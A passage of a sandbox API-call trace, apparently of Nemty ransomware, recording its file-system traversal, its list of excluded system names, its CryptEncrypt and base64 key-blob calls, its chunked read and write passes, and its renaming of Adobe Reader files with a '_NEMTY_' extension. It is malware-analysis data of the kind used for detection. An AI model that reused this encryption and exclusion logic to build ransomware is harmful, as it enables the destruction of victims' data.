lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.681] CloseHandle (hObject=0xffffffff) returned 0 [0196.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.681] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v._nemty_kgobjgd_")) returned 0 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.682] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2=".") returned 1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="..") returned 1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="...") returned 1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="windows") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="$RECYCLE.BIN") returned 1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="rsa") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="NTDETECT.COM") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="ntldr") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="MSDOS.SYS") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="IO.SYS") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="boot.ini") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="boot.ini") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="AUTOEXEC.BAT") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="ntuser.dat") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="desktop.ini") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="CONFIG.SYS") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="RECYCLER") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="BOOTSECT.BAK") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="bootmgr") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="programdata") returned -1 [0196.682] lstrcmpiW (lpString1="Adobe-CNS1-0", lpString2="appdata") returned -1 [0196.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-0", lpUsedDefaultChar=0x0) returned 12 [0196.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-0", lpUsedDefaultChar=0x0) returned 12 [0196.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-0", lpUsedDefaultChar=0x0) returned 12 [0196.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-0", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-0", lpUsedDefaultChar=0x0) returned 12 [0196.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.683] Sleep (dwMilliseconds=0x5) [0196.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28e35e10, dwHighDateTime=0x1d561e8)) [0196.699] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28e35e10, dwHighDateTime=0x1d561e8)) [0196.699] GetLastError () returned 0x5 [0196.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.699] GetLastError () returned 0x5 [0196.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.700] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0196.700] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="TUvFJSO1cWDJ1LP0xTl+vZr0RY7+EQdvCYimY9IziU33Ua8ZKEn/+mMEYxx14qms\r\niUdN+G9cWBuBwFmUYTrXvzP3O+t6xqO5izbKR+4lP4K0SAgQgQTTC/29MYSi4x5z\r\nrHAHZqE7I9GgWuxgJPiq7TS72fBjQCaX0OBukXrGUgmyTGNjCqQkFdzO4xmLUHcO\r\nc8puW+iUTdVdZBOE36eirnFR4hR5XN7OavXo7rXWprwKy+yY97TfUdvcU3ZZ84SK\r\nrDtxsr78cXRfNqGMx+GhrwW034TWq1ps7m5aoqMMI2+0R/TsMeTdLTaiv3+1BCUS\r\nXhlp3Hy0TdXmyubvBsbQNg==\r\n", pcchString=0x653e91c) returned 1 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0196.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0196.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.700] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.822] CloseHandle (hObject=0xffffffff) returned 0 [0196.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.822] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0._nemty_kgobjgd_")) returned 0 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.823] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, 